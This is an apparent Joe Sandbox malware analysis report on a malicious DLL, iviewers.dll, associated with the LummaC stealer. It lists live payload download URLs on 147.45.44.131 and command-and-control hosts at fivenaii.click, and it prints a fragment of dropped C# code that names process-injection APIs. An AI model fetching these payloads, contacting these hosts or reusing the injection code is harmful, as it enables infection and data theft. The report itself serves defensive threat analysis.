https://nuget.org/nuget.exe	powershell.exe, 0000000C.00000002.1707694757.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1707861103.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1760180237.000000000579D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1931436944.0000000005FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1874038631.00000000062FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org0	powershell.exe, 0000000E.00000002.1694125670.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/ubvsd.exeq	powershell.exe, 0000001D.00000002.1894591464.0000000007A99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.1694181605.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.0000000004F8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005191000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fivenaii.click/80	RegAsm.exe, 0000002B.00000002.2108864225.000000000144A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/hgfpj.exe0M	csc.exe, 0000002E.00000003.1830606968.00000000054D1000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps19M	curl.exe, 00000019.00000002.1746361769.0000000000550000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microM	powershell.exe, 00000018.00000002.1924356798.0000000006D12000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000C.00000002.1707694757.0000000005DBB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1707861103.0000000005DCB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1760180237.000000000579D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1901335764.000000000569B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1931436944.0000000005FED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1874038631.00000000062FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fivenaii.click/7	RegAsm.exe, 0000002D.00000002.1866051496.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 0000000C.00000002.1694181605.000000000559D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.00000000052EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.000000000514A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004B24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.000000000577D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000054EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.000000000539F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/pilgm.ps1(	curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fivenaii.click/4	RegAsm.exe, 0000002C.00000002.2037048019.0000000003313000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click/0	RegAsm.exe, 0000002D.00000002.1866051496.0000000000D74000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click/cUC	RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click:443/apiLSID	RegAsm.exe, 0000002C.00000002.2033166708.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000025.00000002.1915834227.00000000052E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fivenaii.click/53	RegAsm.exe, 0000002B.00000002.2108864225.000000000144A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131	powershell.exe, 00000018.00000002.1835577839.0000000004783000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004D85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.00000000050D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000054EC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005814000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.00000000057F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005692000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.00000000056FE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005718000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fivenaii.click/apiF	RegAsm.exe, 0000002B.00000002.2109246697.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/hgfpj.exeL	powershell.exe, 0000001B.00000002.1861999388.00000000056D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1973866609.00000000085D1000.00000004.08000000.00040000.00000000.sdmp, csc.exe, 00000021.00000003.1790958160.0000000005550000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790414514.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790558948.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1792494904.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000002.1793533684.0000000005553000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1790796208.000000000556D000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000021.00000002.1793653792.000000000556D000.00000004.00000020.00020000.00000000.sdmp, 1yj35v5c.dll.33.dr	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/hgfpj.exe0	csc.exe, 00000020.00000003.1792137730.0000000004E91000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000021.00000003.1792106867.00000000071E1000.00000004.00001000.00020000.00000000.sdmp, csc.exe, 00000022.00000003.1792473123.0000000007181000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	powershell.exe, 00000025.00000002.1987305959.00000000078AC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 0000000C.00000002.1693041380.0000000002FF2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1712723583.00000000072A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1900139630.00000000032A6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fivenaii.click/Q	RegAsm.exe, 00000031.00000002.2172787217.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/p	curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000001E.00000002.1745016542.0000000003568000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://api.telegram.org	powershell.exe, 0000000C.00000002.1694181605.00000000050CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004DDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004AB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/pilgm.ps14	curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.60.24	fivenaii.click	United States	13335	CLOUDFLARENETUS	true
147.45.44.131	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581496
Start date and time:	2024-12-27 22:32:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	iviewers.dll
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDLL@90/42@2/3
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 60 Number of non-executed functions: 132
Cookbook Comments:	Found application associated with file extension: .dll Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegAsm.exe, PID 2196 because there are no executed function
Execution Graph export aborted for target RegAsm.exe, PID 7548 because there are no executed function
Execution Graph export aborted for target RegAsm.exe, PID 7552 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: iviewers.dll

Simulations

Behavior and APIs

Time	Type	Description
16:32:54	API Interceptor	249x Sleep call for process: powershell.exe modified
16:33:13	API Interceptor	24x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse
	i8Vwc7iOaG.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, StormKitty, Vidar	Browse
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	tg.exe	Get hash	malicious	Babadeda	Browse
	tg.exe	Get hash	malicious	Babadeda	Browse
	setup.exe	Get hash	malicious	Babadeda	Browse
147.45.44.131	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/bnkh.exe
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131/infopage/ung0.exe
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/ilk.exe
	Captcha.hta	Get hash	malicious	HTMLPhisher	Browse	147.45.44.131/infopage/bgfi.ps1
	Captcha.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/ung0.exe
	EBUdultKh7.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131/infopage/vsom.exe
	MiJZ3z4t5K.exe	Get hash	malicious	Unknown	Browse	147.45.44.131/infopage/Tom.exe
	ZjH6H6xqo7.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/tvh53.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.telegram.org	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	tg.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	setup.exe	Get hash	malicious	Babadeda	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	149.154.167.220
	user.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://track.rbfcu.org/y.z?l=https://google.com/amp/s/t.ly/5SpZS&r=14387614172&d=18473&p=2&t=h	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.58.80
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	solara-executor.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.2.114
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.2.114
	http://proxyium.com	Get hash	malicious	Unknown	Browse	104.21.80.92
	https://cbhc9.anguatiab.ru/RpweC/	Get hash	malicious	Unknown	Browse	1.1.1.1
	setup.msi	Get hash	malicious	Unknown	Browse	172.67.148.171
	search.hta	Get hash	malicious	Unknown	Browse	172.67.153.170
TELEGRAMRU	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://linkenbio.net/59125/247	Get hash	malicious	Unknown	Browse	149.154.167.99
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	installer.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.99
	din.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	yoda.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	lem.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	script.ps1	Get hash	malicious	Vidar	Browse	149.154.167.99
FREE-NET-ASFREEnetEU	search.hta	Get hash	malicious	Unknown	Browse	147.45.112.248
	e9aa0b4540115b3dcec3af70b6de27e54e4a0fa96d1d3.exe	Get hash	malicious	RedLine	Browse	147.45.44.224
	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	147.45.49.155
	good.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	147.45.44.151
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	7ZAg3nl9Fu.exe	Get hash	malicious	Unknown	Browse	147.45.44.166
	7ZAg3nl9Fu.exe	Get hash	malicious	Unknown	Browse	147.45.44.166
	HOrW5twCLd.exe	Get hash	malicious	XenoRAT	Browse	147.45.69.75
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	147.45.44.224
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	738KZNfnzz.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	TCKxnQ5CPn.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	n5Szx8qsFB.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	A4FY1OA97K.lnk	Get hash	malicious	DanaBot	Browse	149.154.167.220
	vreFmptfUu.lnk	Get hash	malicious	DanaBot	Browse	149.154.167.220
	skript.bat	Get hash	malicious	Vidar	Browse	149.154.167.220
	msgde.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
	6ee7HCp9cD.exe	Get hash	malicious	Quasar	Browse	149.154.167.220
a0e9f5d64349fb13191bc781f81f42e1	launcher.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	Leside-.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	search.hta	Get hash	malicious	Unknown	Browse	104.21.60.24
	SET_UP.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	!Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.60.24
	@Setup.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	Full_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.60.24
	Solara.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	0x001f00000004676d-1858.exe	Get hash	malicious	LummaC	Browse	104.21.60.24
	eYAXkcBRfQ.exe	Get hash	malicious	LummaC	Browse	104.21.60.24

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1576
Entropy (8bit):	5.623775155351
Encrypted:	false
SSDEEP:	48:CSU4y4RQmFoUeWmfmZ9tK8N/wueOjlZS5Gy7:PHyIFKL3OZ2K/YOZZ4j7
MD5:	86FC717792178A3A80A9848160AAF423
SHA1:	39CE5F1B9F09E3F19A09E908B9AB132CA20D1C7A
SHA-256:	22FFCE0E50CBAB1533601538CAE661ED879FAD5AF98A406C1E5306D37603892E
SHA-512:	44E8922BBFBAC388277797B3E38340203C65C462FFF5ECF6833383D6466EC9207CFB6908FB962869E9628D9837A497D08B4CA4D88437C39B4DC500B805074808
Malicious:	false
Preview:	@...e..........._.....................,..............@..........@...............M6.]..O....PI.&........System.Web.Extensions...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.547000581752388
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo66T:2oYLoH97t/Z7pgjvzf5XT
MD5:	FAC8F0E634D8D7975A6EDC045D89AE09
SHA1:	DD06BCC32B91D9635BFA317A5213E3C5EE86D2A0
SHA-256:	6F5BD7F4EE85C3181E111CDC470E434875BADEDC87EFC056B8EDF5CD494FBFB2
SHA-512:	C8D77D5FA969CC6668C25331B5933C8B98DEDEF9C2DD9DA345C3CF89D96C05CC20953486E9185390501245A12AFB5CF9F37C1B627AECE6D797F0F354F6E27CD5
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	204
Entropy (8bit):	5.117971386349521
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2wkn23fxf/VUzxszIwkn23fxf/P:p37L/6KRf5f/qQf5f/P
MD5:	C36408FB1CF78051705F47A91CB0C09A
SHA1:	13A728DE808AF8ACE47082414E0196C0512A755E
SHA-256:	8DFF26476BA3D80899E0B61E66C23FD48F76B9DA0D0F6BBE38B6B19A99CB8441
SHA-512:	5824376060D18BF112D2828AC86E52E3CB65D15C407FFDBAC0ECD4D2859CC0D7068F4E173050C9A78F1E10064CE223452B81131C356EB17C45DD86AEA781F1C4
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.0.cs"

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.63239134074982
Encrypted:	false
SSDEEP:	192:GRH6HN4QhfNQ8q8888yYAdpRjOaAUxRa95MqBY3eN450:RNxNp9On+a95MqjS50
MD5:	2E07277329D975F7E278EA7E34481FC1
SHA1:	AD109EF031CB7A5E0631D021DD9DA967BD5C274C
SHA-256:	3D83440538158BB38987574760C05745B31C219634728AF8D75EC24D242A12ED
SHA-512:	12EFBCBD2F49C202B3A4192E33427BC2A34C2262C3E8A094B8F66EA8C3C6AC81ED5303A9592F62202601AEEF54CF3CA509EC6E7E82D3009C5D0A9A125865E704
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5og...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	702
Entropy (8bit):	5.275776010812187
Encrypted:	false
SSDEEP:	12:KJN/qR37L/6KRf5f/qQf5f/2KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KJBqdn6KRfZ/FfZ/2Kax5DqBVKVrdFAw
MD5:	F196660A24E948E24B6F36D978436749
SHA1:	A4F89B44B9E8A0D5DEC07E3D6180A4CD1D75EEE3
SHA-256:	FA10E00D7D2A119DD783E7F49B8442EA923440B46969E14C24C87EFB8CFF01D4
SHA-512:	7AD7CC52A37348A54475A89E92082C2D14FC923AE88B30C43B69883160239B290A75DB84C60236DD3C4AD563782145AF2F129FCE240799DBC549CE764BE1E941
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.132933536665914
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grygbak7YnqqDUPN5Dlq5J:+RI+ycuZhNkakSwPNnqX
MD5:	E4E37ED2597B2A51ABA4AF7B90FE7A3E
SHA1:	A5689306E43A96B92CD9587BA5A0AE129395BCC7
SHA-256:	64B62A6D69CF34234733946D1FA32D49F1287396FEB0F0A697FF18C774472599
SHA-512:	55A8CE9D0A510A3A6791E48D06FFC6D9264097D755CC6A4295C5CF2E9ED388A223510ABBCB0E8C957EA6CDD7369BA3876DE67EA8F800602EBDB370809B373CD2
Malicious:	false
